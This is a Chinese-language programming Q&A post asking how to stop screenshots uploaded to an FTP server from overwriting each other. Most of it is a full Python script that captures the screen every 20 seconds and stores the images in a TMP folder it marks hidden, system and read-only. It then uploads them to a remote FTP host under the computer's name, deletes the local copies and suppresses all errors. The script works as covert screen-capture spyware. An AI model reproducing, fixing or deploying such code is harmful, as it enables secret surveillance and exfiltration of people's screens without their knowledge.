如何在FTP服务器上的同一目录中存储多个图像？

Question

此python脚本以特定间隔截取屏幕截图，并将其存储在本地的特定目录中。然后将其上传到ftp服务器，并将其从本地目录中删除。问题是，当脚本上传到FTP服务器时，将替换现有图像。是否可以同时在服务器上显示所有图像？

import autopy
import time
import os
import ftplib
delay_time=20   # time interval between screen_shoots

##############function for deleting file in specified path if found#########
def delet_file(dirr,nam):
    if os.path.isfile(dirr+nam):
        try:
            os.remove(dirr+nam)
        except:
            pass
        return None

#############Function for uploading your file to FTP server#############
def ftp_upload(Host,User,User_pass,ftp_dir,loca_dir,fil):
    try:
        con=con=ftplib.FTP(Host)
        con.login(User,User_pass)
        try:
            con.mkd(ftp_dir)
            con.cwd(ftp_dir)
            f=open(loca_dir+fil,'rb')
            con.storbinary("STOR "+fil,f)
            f.close()
            con.quit()
            delet_file(loca_dir,fil)

        except:
            con.cwd(ftp_dir)
            f=open(loca_dir+fil,'rb')
            con.storbinary("STOR "+fil,f)
            f.close()
            con.quit()
            delet_file(loca_dir,fil)
    except:
        pass
    return None

######## Function for generating unique image name##################
def getfile_name():
    image_name=(time.asctime().replace(" ","_")).replace(":","")+".png"
    return image_name

##############function for generating and returning path in local computer#########
def generat_path():
    dir_name=os.environ["TMP"]+os.sep+os.environ["USERNAME"]+"psc"+os.sep
    try:
        if os.path.isdir(dir_name):
            os.popen("attrib +s +h +r " +dir_name)
        else:
            os.mkdir(dir_name)
            os.popen("attrib +s +h +r " +dir_name)
    except:
            pass

    return dir_name

########################### main function to take  screen shoot and save it#########
def capture_shoot(full_path):
    try:

        z=autopy.bitmap.capture_screen()
        z.save(full_path)
    except :
        pass
    return None

###########from here start your script###################3
def start():
    ftp_dir=os.environ["COMPUTERNAME"] #get computer name
    #######set your  ftp server data #######
    ####### make  your own ( _ ) #########
    host=''  #host name
    passwd=''        #Password for ftp server
    login_id=''       #username for ftp server
    ########## loop in the script and excuting every interval########
    while True :
        image_name=getfile_name()
        local_dir=generat_path()
        capture_shoot(local_dir+image_name)
        ftp_upload(host,login_id,passwd,ftp_dir,local_dir,image_name)

        time.sleep(delay_time)


 ### this mean if you import script as module don't
 #### excute and return false elseif excuted as script  impliment start 

if __name__=='__main__':
    start()
<code>

#####################非常感谢####################### ######